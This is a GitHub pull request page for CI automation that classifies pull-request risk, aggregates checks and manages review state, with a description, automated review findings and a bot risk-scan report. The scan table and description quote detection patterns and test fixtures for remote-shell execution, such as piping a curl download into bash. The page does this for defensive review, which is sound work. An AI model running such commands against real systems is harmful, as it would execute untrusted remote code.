Skip to content

Phase 2: submission-gate, risk tiers, and PR status state machine (#4184) - #4190

Merged
aaronpowell merged 8 commits into
github:mainfrom
jamesmontemagno:motz-submission-gate-risk-tiers
Oct 1, 2026
Merged

aaronpowell merged 8 commits into
github:mainfrom
jamesmontemagno:motz-submission-gate-risk-tiers

Conversation

@jamesmontemagno

@jamesmontemagno jamesmontemagno commented Sep 29, 2026 •

Copy link
Copy Markdown
Contributor

Pull Request Checklist

  • I have read and followed the CONTRIBUTING.md guidelines.
  • I have read and followed the Guidance for submissions involving paid services.
  • My contribution adds a new instruction, prompt, agent, skill, workflow, or canvas extension file in the correct directory. (N/A: repository automation)
  • The file follows the required naming convention.
  • The content is clearly structured and follows the example format.
  • I have tested my instructions, prompt, agent, skill, workflow, or canvas extension with GitHub Copilot. (N/A: see validation below)
  • I have run npm start and verified that README.md is up to date.
  • I am targeting the main branch for this pull request.

Description

Implements Phase 2 (enforcement) of #4184: sections 3 (aggregate submission-gate check), 4 (risk tiers), and 5 (PR state machine and status comment). It is one of three parallel PRs. Phase 1 covers routing and ownership, and Phase 3 covers the canvas smoke test and metrics.

Summary

submission-gate aggregate check

  • Reader .github/workflows/submission-gate.yml: workflow Submission Gate, job evaluate. It is a read-only preview and never fails.
    • Runs on every PR (no path filter) and on review events.
    • Loads its logic and policy from the base commit.
    • Waits for the applicable checks listed in .github/submission-gate.yml: line endings, README consistency, plugin/extension validation, canvas extension validation, plugin structure, skill validation, skill lint, agentic workflow validation, risk scan, contributor reputation, duplicate scan, quality signal, and the canvas-smoke-test slot for Phase 3.
  • Failure classification: each failed run counts as a contribution failure or an infrastructure failure, decided by its failing step.
    • Infrastructure: setup, install, checkout, artifact, timeout, cancellation, action_required, or never reported.
    • Contribution failures block and show fix hints. Infrastructure failures prompt /rerun-checks.
  • Advisory AI checks (duplicate scan, quality signal) never block.
  • Published by the trusted writer: the submission-gate check run is created on the PR head SHA by Submission Gate Writer through the Checks API (external_id: submission-gate-writer). A pull_request job can't produce it, because a PR can edit its own pull_request workflows.
    • Any other submission-gate check on the head is flagged as tampering: merge-risk:high plus a blocking "Gate integrity" failure.
    • Because the writer runs from main, this PR does not show a submission-gate check until it merges.
  • Pass condition: the check succeeds only when every required check passed and the approvals the tier requires are present. It stays in_progress while checks are pending.
  • Fail-closed rules:
    • skipped required checks (unless allow_skip or optional)
    • a truncated changed-file list (the API cap is 3,000 files)
    • text files with no scannable diff
    • failed permission lookups
    • evaluations whose PR head, base branch, reviews, or risk-raising labels changed mid-run are discarded
    • a contributor check whose pr-check job succeeded but whose result artifact is missing or unreadable (a lost HIGH signal can't lower the tier)
  • Triggers include edited, so retargeting a PR to another base re-evaluates it right away.
  • Check paths include the check's own workflow and eng/ scripts. Each entry in .github/submission-gate.yml and the matching workflow's pull_request.paths list the workflow file and the scripts it runs. Updated workflows: validate-readme.yml, validate-canvas-extensions.yml, check-plugin-structure.yml, validate-skills.yml, skill-check.yml, pr-risk-scan.yml. validate-agentic-workflows-pr.yml is the exception: it rejects any .github/** change, so it can't trigger on its own file, and the drift test exempts it.
  • New validate-skills.yml: skill-check.yml (vally) never fails on lint findings, so skill validation (npm run skill:validate) now has its own blocking check.
  • New validate-submission-gate.yml: runs the unit tests. A drift test keeps each check's paths and branches equal to its workflow's trigger, and asserts each path-filtered check lists its own workflow file.

Merge-risk tiers

  • .github/risk-tiers.yml holds the path patterns, capability triggers, and approval policy. The logic is in eng/submission-gate.mjs, with tests in eng/submission-gate.test.mjs (node:test).
  • High: any of the following.
    • .github/**, which covers workflows, CODEOWNERS, review-routing.yml, risk-tiers.yml, and submission-gate.yml
    • eng/**, scripts/**, and package manifests
    • mcp.json
    • Bundled scripts and executables (including scripts shipped with hooks), and plugins/external.json
    • Added lines that spawn processes, pipe a downloaded script into a shell, or declare MCP or hook commands (mcpServers, command, bash, powershell in plugin, extension, skill, or hook JSON)
    • The needs-review:HIGH label or a HIGH contributor-reputation artifact (raise-only)
    • Changes that can't be fully scanned, or an impostor submission-gate check
  • Low: docs, metadata, or generated files only, or a small modification (≤40 lines) of existing resources.
  • Medium: everything else, including agentic workflows (workflows/**) and hooks (hooks/**), which are treated like other content unless they add scripts or hook commands.
  • Approvals:
    • low: 1 approval from a resource owner: the domain pool for the files, or core-maintainers for files outside every domain
    • medium: 1 approval from a domain reviewer (Phase 1 pools canvas, plugin, content; content also owns workflows/** and hooks/**)
    • high: 2 approvals, including a core-maintainers member
    • The repository's own .github/workflows/**, eng/**, and review policy fall outside every domain, so core-maintainers owns them.
  • Fallbacks while pools are unstaffed or review-routing.yml is absent: any writer satisfies the domain or owner requirement, and an admin or maintain approver satisfies the core requirement.

PR state machine and status comment

  • Trusted writer .github/workflows/submission-gate-writer.yml.
    • Triggers: workflow_run of Submission Gate (requested and completed), an hourly sweep, and workflow_dispatch.
    • Recomputes everything from the API with default-branch code. It trusts no PR artifacts and matches a PR only on an exact head SHA, repository, and branch.
    • Publishes the submission-gate check run, and applies exactly one merge-risk:* label and one state label: awaiting-automation, requires-submitter-fixes, ready-for-review, review-in-progress, or approved.
    • Re-reads the head, base branch, risk-raising labels, and reviews right before writing, and skips the write if any of them changed.
    • Publishes the check immediately after that revalidation. Label and comment sync run afterwards, independently, so a failed label or comment write can't leave a stale green check.
  • Status comment: one persistent comment, marked <!-- submission-gate-status --> and updated in place. It shows:
    • checks, with log links
    • actionable failures
    • the risk tier and the reasons for it
    • approval progress
    • requested reviewers and the Phase 1 review-due:* date
    • available commands
  • External plugin PRs: PRs labeled external-plugin keep their existing intake state labels (shared names); only the risk label and comment are managed there.

Commands (.github/workflows/pr-commands.yml + pr-commands-writer.yml)

  • /rerun-checks: re-runs failed or incomplete workflow runs for the head commit, re-runs the gate, and refreshes the status.
  • /request-review: adds needs-reviewer and dispatches Phase 1's review-routing.yml on main. Labels added with GITHUB_TOKEN don't fire labeled workflows, which is why the dispatch is needed.
  • Only the PR author or users with write/maintain/admin can run commands. Commands from bots are ignored. The comment body is never interpolated into scripts.
  • Reader/writer split: this works on PRs from forks and non-contributors, and no pull_request_target is used anywhere.
    • PR Commands (issue_comment, contents: read) uploads a pr-command-request artifact containing only the PR number, comment ID, and run ID.
    • PR Commands Writer (workflow_run, default-branch code, write permissions) downloads the artifact by run-id and validates its schema and run ID. It re-reads the comment, verifies the comment belongs to the PR, and re-reads the PR state and the commenter's permission before writing.
    • A 👀 reaction from github-actions[bot] marks a comment as handled, so re-runs don't replay it.

Intermittent AI-check failures (investigated)

  • PR Quality Signal: 4 of 30 recent runs failed. Every failure was awf-reflect: models fetch returned 401, because the lock authenticates with secrets.COPILOT_GITHUB_TOKEN.
  • PR Duplicate Check: 2 of 30 runs failed with intermittent 401s. It already uses copilot-requests: write.
  • Both are advisory and classified as infrastructure-only, so they never block.
  • The quality-signal fix (add copilot-requests: write and recompile with gh-aw v0.88.8) is left to maintainers, because recompiling needs the matching gh-aw version.

Docs

  • docs/maintainers/submission-gate.md covers the gate, infrastructure vs contribution failures, tiers with file patterns, the approval policy and fallbacks, the state machine, commands, the security model, and follow-ups.
  • CONTRIBUTING.md has a new "After You Open a Pull Request" section.
  • setup-labels.yml: awaiting-automation, review-in-progress, and merge-risk:* were appended; the existing state labels are reused.

Validation

  • node --test eng/submission-gate.test.mjs: 47/47 pass. Covered:
    • globs and the config↔workflow drift check
    • tier classification, including capabilities and contributor risk
    • approvals with and without routing
    • failure classification
    • the state machine
    • polling and grace-period behaviour
    • label and comment sync
    • rerun
    • PR resolution
    • review hardening: fail-closed scanning, truncated file lists, stale heads, impostor checks, check publishing, write revalidation, and owner approvals
    • second review round: base-branch and risk-label staleness, correcting forged success runs that carry our external_id, command request validation, and runPrCommand (handled, outsider, closed PR, replay, mismatched comment)
    • third review round: unreadable contributor artifact fails closed (skipped runs don't), and the check publishes even when label and comment writes fail
    • fourth review round: an unparsable review-routing.yml fails closed (a missing one still falls back), pending advisory checks don't hold the gate, and commands are marked handled (🚀) only after they finish, so partial failures can be retried
  • npm run build: no generated changes.
  • npm run plugin:validate: passes.
  • npm run skill:validate: passes, 425 skills (earlier round).
  • skill:validate and bash eng/fix-line-endings.sh weren't re-run locally this round; CI covers them. This round changes no resources or generated files.
  • All changed files are LF: checked for CR characters.
  • All changed YAML parses.

Security notes

  • Reader/writer split. The only pull_request workflows are read-only and never write. The required check is published by the workflow_run writer, not by a PR-editable job.
  • Check runs created with GITHUB_TOKEN don't trigger check_run workflows. Automation that reacts to the gate must listen for workflow_run on Submission Gate Writer.
  • The writer and command workflows check out the default branch and run npm ci --ignore-scripts.
  • external_id is a marker, not proof of origin. Fork tokens can't create check runs, but a workflow with write access could. The writer overwrites any copy of its check that claims success while the evaluation fails, on every run and on the hourly sweep. The durable fix is in the follow-ups below.
  • No PR code runs with a write token.
  • On the bootstrap PR, the one that introduces the gate, the gate uses the PR's own copy with a read-only token and logs a warning. That PR is merge-risk:high by path.

Maintainer follow-up

  • After this merges, make submission-gate (GitHub Actions source) a required status check in the main ruleset. Until then, no PR reports it.
  • Run Setup Repository Labels to create awaiting-automation, review-in-progress, and merge-risk:low/medium/high.
  • Merge Phase 1 and staff the .github/review-routing.yml pools (core-maintainers, canvas, plugin, content). Until then, the approval fallbacks apply.
  • Harden the check source: publish submission-gate from a dedicated GitHub App and require it from that app in the ruleset.
  • Require Code Owner review for .github/** once Phase 1's CODEOWNERS lands.
  • Fix PR Quality Signal auth: add copilot-requests: write to .github/workflows/pr-quality-signal.md and recompile with gh-aw v0.88.8.
  • Decide whether existing individual required checks can be dropped from the ruleset once submission-gate is required.
  • Once Phase 3 lands, confirm its canvas-smoke-test job reports on the PR head commit. The gate already includes it and skips it when it doesn't report.

Type of Contribution


Additional Notes

Validation results and maintainer follow-ups are listed in the Description above.


By submitting this pull request, I confirm that my contribution abides by the Code of Conduct and will be licensed under the MIT License.

…ine (github#4184)

Phase 2 (enforcement) of github#4184:
- submission-gate aggregate required check (reader) with infra vs contribution failure classification
- merge-risk:low/medium/high classification from .github/risk-tiers.yml with tier approval policy
- Submission Gate Writer maintaining state labels and a persistent status comment
- /rerun-checks and /request-review PR commands
- validate-skills and validate-submission-gate workflows, unit tests, and maintainer docs

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Copilot AI balanced review requested due to automatic review settings September 29, 2026 21:36
@github-actions github-actions Bot added new-submission PR adds at least one new contribution workflow PR touches workflow automation labels Sep 29, 2026
@github-actions

github-actions Bot commented Sep 29, 2026 •

Copy link
Copy Markdown
Contributor

🔴 Contributor Reputation Check: HIGH risk

Check Risk
Profile HIGH
Credential audit NONE

Maintainers: please review this contributor before merging.
See the workflow run for full details.
Automated check powered by AGT.

@github-actions github-actions Bot added the needs-review:HIGH Contributor reputation check flagged HIGH risk label Sep 29, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

Risk and approval enforcement contain fail-open and stale-head paths that could approve unevaluated changes.

Review effort: Balanced
Findings: 4 High severity · 2 Medium severity

Open (6)
What changed in this PR

Adds Phase 2 submission enforcement: aggregate checks, risk-tier approvals, PR state synchronization, and contributor commands.

Changes:

  • Adds the submission-gate policy engine, configuration, and tests.
  • Adds trusted status-writer, validation, and PR-command workflows.
  • Documents risk tiers, states, commands, and maintainer operations.
File Description
.github/​risk-tiers.yml Defines risk paths and approval policies.
.github/​submission-gate.yml Configures aggregated checks and commands.
.github/​workflows/​pr-commands.yml Implements contributor PR commands.
.github/​workflows/​setup-labels.yml Adds risk and state labels.
.github/​workflows/​submission-gate-writer.yml Synchronizes labels and status comments.
.github/​workflows/​submission-gate.yml Runs the aggregate submission gate.
.github/​workflows/​validate-skills.yml Adds blocking skill validation.
.github/​workflows/​validate-submission-gate.yml Runs submission-gate tests.
CONTRIBUTING.md Documents contributor-facing PR states and commands.
docs/​maintainers/​submission-gate.md Documents gate operations and security.
eng/​submission-gate.mjs Implements classification, approvals, and synchronization.
eng/​submission-gate.test.mjs Tests gate policies and orchestration.

💡 Configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs Outdated
Comment thread .github/risk-tiers.yml
Comment thread .github/workflows/pr-commands.yml
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Copilot AI balanced review requested due to automatic review settings September 29, 2026 22:42

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

The gate can be bypassed by modifying its own PR-controlled workflow, with additional fail-open and concurrency issues remaining.

Review effort: Balanced
Findings: 6 High severity · 2 Medium severity

Open (8)
Previously missed (1)

In code that hasn't changed since last review

Medium severity Inconsistent concurrency keys allow stale PR updates

.github/​workflows/​submission-gate-writer.yml:32

These keys do not serialize all writers for the same PR: workflow_run uses repository/branch, manual dispatch uses the PR number, and the hourly sweep uses schedule. Those runs can overlap, each computing labels once and then adding/removing them, so a slower stale sweep can overwrite a newer approval state or comment. Route updates through a per-PR concurrency key (or revalidate atomically immediately before writing).

Comment thread .github/workflows/submission-gate.yml
Comment thread eng/submission-gate.mjs Outdated
- Publish the submission-gate check from the trusted writer via the Checks API
  and flag any other submission-gate check run as tampering
- Fail closed on truncated file lists, unscannable diffs, permission lookup
  errors, and skipped required checks
- Discard evaluations when the PR head or reviews change mid-run
- Low tier requires a resource owner approval
- Commands must start the comment, matching the workflow filter

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Copilot AI balanced review requested due to automatic review settings September 29, 2026 23:12

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs
Comment thread .github/workflows/submission-gate.yml Outdated
Comment thread .github/workflows/pr-commands.yml Outdated
Comment thread .github/workflows/pr-commands.yml Outdated
Comment thread .github/risk-tiers.yml Outdated
Comment thread .github/submission-gate.yml
Comment thread .github/submission-gate.yml
Comment thread .github/submission-gate.yml
…eness

- Split /rerun-checks and /request-review into a read-only issue_comment
  reader and a workflow_run writer that re-reads the comment, PR, and
  permission before writing.
- Drop the workflow-security pool; agentic workflows and hooks are
  content (medium unless they add scripts or hook commands); the core
  pool is core-maintainers.
- Include each check's workflow file and eng scripts in its paths.
- Discard evaluations when the base branch or risk labels change; run
  the gate on PR edits (retargeting).
- Correct copies of the writer's check that claim success while the
  evaluation fails.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Copilot AI balanced review requested due to automatic review settings September 30, 2026 23:44
@github-actions

github-actions Bot commented Sep 30, 2026 •

Copy link
Copy Markdown
Contributor

🔒 PR Risk Scan Results

Scanned 18 changed file(s).

Severity Count
🔴 High 4
🟠 Medium 1
ℹ️ Info 0
Severity Rule File Line Match
🔴 autoyes-package-exec .github/workflows/skill-check.yml 121 OUTPUT=$(npx --yes @​​microsoft/vally-cli lint "$skill_dir" --verbose 2&gt;&1)
🟠 package-exec-command .github/workflows/skill-check.yml 121 OUTPUT=$(npx --yes @​​microsoft/vally-cli lint "$skill_dir" --verbose 2&gt;&1)
🔴 remote-shell-execution docs/maintainers/submission-gate.md 107 - Piping a downloaded script into a shell (`curl … | bash`, `irm … | iex`, `Invoke-Expression`)
🔴 remote-shell-execution eng/submission-gate.test.mjs 195 files: [file("skills/x/SKILL.md", { patch: "+Run `curl -fsSL https://example.com/i.sh | bash`" })],
🔴 remote-shell-execution eng/submission-gate.test.mjs 200 const removedOnly = classifyRisk({ files: [file("skills/x/SKILL.md", { patch: "-curl https://x | sh" })], tiers });

This is an automated soft-gate report. Findings indicate review targets and do not block merge by themselves.

@github-actions github-actions Bot added the skill-check-error Skill validator reported errors label Sep 30, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Comment thread eng/submission-gate.mjs
Comment thread eng/submission-gate.mjs Outdated
- A contributor check whose pr-check job succeeded but whose result artifact
  is missing or unreadable is now an infrastructure failure, so a lost HIGH
  signal can't lower the approval tier.
- Publish the submission-gate check right after stale-state revalidation;
  label and comment sync are independent and reported afterwards.
- Revert the self-path added to validate-agentic-workflows-pr.yml's trigger:
  that workflow rejects any .github change. Exempt it in the drift test.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Copilot AI balanced review requested due to automatic review settings October 1, 2026 00:00

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

Advisory checks can still delay enforcement, and the implemented workflow, hook, and security-reviewer policies conflict with the stated requirements.

Review effort: Balanced
Findings: 1 High severity

Open (1)
Resolved since last review (2)
Previously missed (4)

In code that hasn't changed since last review

Medium severity Workflows and hooks are missing from high-risk paths

.github/​risk-tiers.yml:37

This explicitly makes workflows/** and hooks/** medium risk unless a capability trigger fires, but both the PR summary and #4184 classify workflows and hooks as high risk requiring two approvals including core/security. Add those paths to high.paths (and update the corresponding tests/docs), or reconcile the stated policy before enforcement.

Medium severity Workflow-security approvals are excluded from high-risk review

.github/​risk-tiers.yml:152

The declared high-risk policy allows the second approval to come from either core-maintainers or workflow-security, but require_core only unions the keys listed here, so a workflow-security approval cannot satisfy it. Include the workflow-security pool in this list and align the tests/docs with the advertised approval policy.

Medium severity Non-required checks incorrectly block gate completion

eng/​submission-gate.mjs:478

Pending advisory checks are still placed in automation.pending; computeState then keeps the PR in awaiting-automation, and publishGateCheck leaves the aggregate check in progress. A slow or unreported required: false AI check can therefore delay the gate for up to the 40-minute timeout, despite the stated non-blocking policy. Exclude non-required checks from both the blocking pending bucket and the polling stop condition (while still displaying them as advisory).

Medium severity Early handled marker prevents retries after partial failure

eng/​submission-gate.mjs:1289

The eyes reaction is used as the permanent “already handled” marker, but it is written before reruns, labeling, dispatch, and the reply. If any later API call fails, retrying the workflow sees this reaction and skips the command forever even though it was never completed. Mark the comment handled only after successful command effects, or use separate claimed/completed markers with retry recovery.

Comment thread eng/submission-gate.mjs Outdated
- loadGateConfig: a missing review-routing.yml still falls back, but a
  file that can't be parsed (or whose pools isn't a mapping) now throws
  instead of silently relaxing approvals.
- Pending required: false checks no longer keep the PR in
  awaiting-automation or the gate check in progress, and the polling loop
  doesn't wait on them. They render as pending (advisory).
- PR commands: 👀 marks a command as claimed; 🚀 is written only after
  the reply is posted and is the only replay guard, so a run that failed
  partway can be retried.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Copilot AI balanced review requested due to automatic review settings October 1, 2026 00:21
@jamesmontemagno

Copy link
Copy Markdown
Contributor Author

Addressed the review-summary findings that didn't have inline threads (daa8f9e):

  • Advisory checks holding the gate: pending required: false checks no longer keep the PR in awaiting-automation or the gate check in progress, and the writer doesn't wait on them. They show as pending (advisory).
  • Command replay marker: 👀 now means claimed. 🚀 is written only after the reply is posted, and only 🚀 stops replays, so a run that failed partway can be retried.
  • workflows/hooks risk and workflow-security in core_pools: no change. Per @aaronpowell, agentic workflows and hooks are content, so they're medium. Hook commands (mcp-server-command) and bundled scripts still escalate to high. There's no workflow-security pool, and core_pools is ["core-maintainers"].

Tests: 47/47.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

Risk-trigger gaps and capability-scanning bypasses could leave an incorrectly green or under-classified gate.

Review effort: Balanced
Findings: 1 High severity

Open (1)
Resolved since last review (1)
Previously missed (5)

In code that hasn't changed since last review

Medium severity Broad documentation exemption allows risky manual docs changes

.github/​risk-tiers.yml:69

This exempts every documentation file from fail-closed scanning, although files such as docs/maintainers/submission-gate.md are hand-authored rather than generated. A sufficiently large manual docs diff can omit patch, add a remote-shell command, and still be classified low risk. Restrict the exemption to the generated catalog documents.

Medium severity Label changes do not trigger reevaluation of risk checks

.github/​workflows/​submission-gate.yml:14

needs-review:HIGH can be added after a green evaluation, but label changes do not trigger this workflow, so a human-applied risk signal can leave the old lower-tier check green until the hourly sweep. Add labeled/unlabeled handling; for labels written with GITHUB_TOKEN, also trigger the trusted writer explicitly (for example from the contributor-check workflow_run).

Medium severity Unescaped dynamic Markdown values enable comment injection

eng/​submission-gate.mjs:534

This does not escape Markdown backticks, brackets, or parentheses. PR-controlled filenames and workflow names flow into bot-authored comments, so a crafted value can terminate a code span and render an attacker-supplied link under the GitHub Actions identity. Escape Markdown control characters or sanitize raw dynamic values before adding trusted formatting.

Low severity Unnecessary pull-request write permission broadens token authority

.github/​workflows/​pr-commands-writer.yml:28

The command implementation only reads the PR; its writes use Actions and Issues endpoints. pull-requests: write is therefore unnecessary and broadens the privileged writer token. Reduce it to read access.

Low severity Writer job unnecessarily grants pull-request write permission

.github/​workflows/​submission-gate-writer.yml:29

This writer only reads pull-request data; label and comment mutations use the Issues API. Granting pull-requests: write unnecessarily expands a trusted workflow_run job's authority. Use read permission instead.

Comment thread eng/submission-gate.mjs
Copilot AI balanced review requested due to automatic review settings October 1, 2026 00:31

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

Risk classification, stale approval handling, and retargeted validation contain unresolved enforcement gaps.

Review effort: Balanced
Findings: 3 High severity

Open (3)
Previously missed (1)

In code that hasn't changed since last review

Medium severity Rerun validations when a pull request is retargeted

.github/​workflows/​submission-gate.yml:16

Adding edited only reruns the aggregate workflow, not the checks it aggregates. The required workflows use the default pull-request activity types or explicitly only opened, synchronize, and reopened; therefore a PR retargeted from another base to main has no fresh line-ending, spelling, or path-filtered validation runs and becomes stuck with “did not report” infrastructure failures until another commit is pushed. Trigger fresh validations on retarget and extend the drift test to cover activity types.

Comment thread .github/risk-tiers.yml
Comment thread eng/submission-gate.mjs
@aaronpowell
aaronpowell requested a balanced review from Copilot October 1, 2026 01:08
@aaronpowell
aaronpowell enabled auto-merge (squash) October 1, 2026 01:08
@aaronpowell
aaronpowell requested a review from a team as a code owner October 1, 2026 01:09

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Comment thread .github/risk-tiers.yml
Comment thread .github/workflows/submission-gate.yml
Comment thread .github/workflows/validate-submission-gate.yml
Comment thread CONTRIBUTING.md
Comment thread docs/maintainers/submission-gate.md
Copilot AI balanced review requested due to automatic review settings October 1, 2026 01:15

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Comment thread .github/workflows/submission-gate-writer.yml
Comment thread eng/submission-gate.mjs
Comment thread .github/workflows/validate-readme.yml
Comment thread .github/workflows/validate-skills.yml
Comment thread eng/submission-gate.mjs
@aaronpowell
aaronpowell merged commit d613147 into github:main Oct 1, 2026
29 of 34 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

needs-review:HIGH Contributor reputation check flagged HIGH risk new-submission PR adds at least one new contribution skill-check-error Skill validator reported errors workflow PR touches workflow automation

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants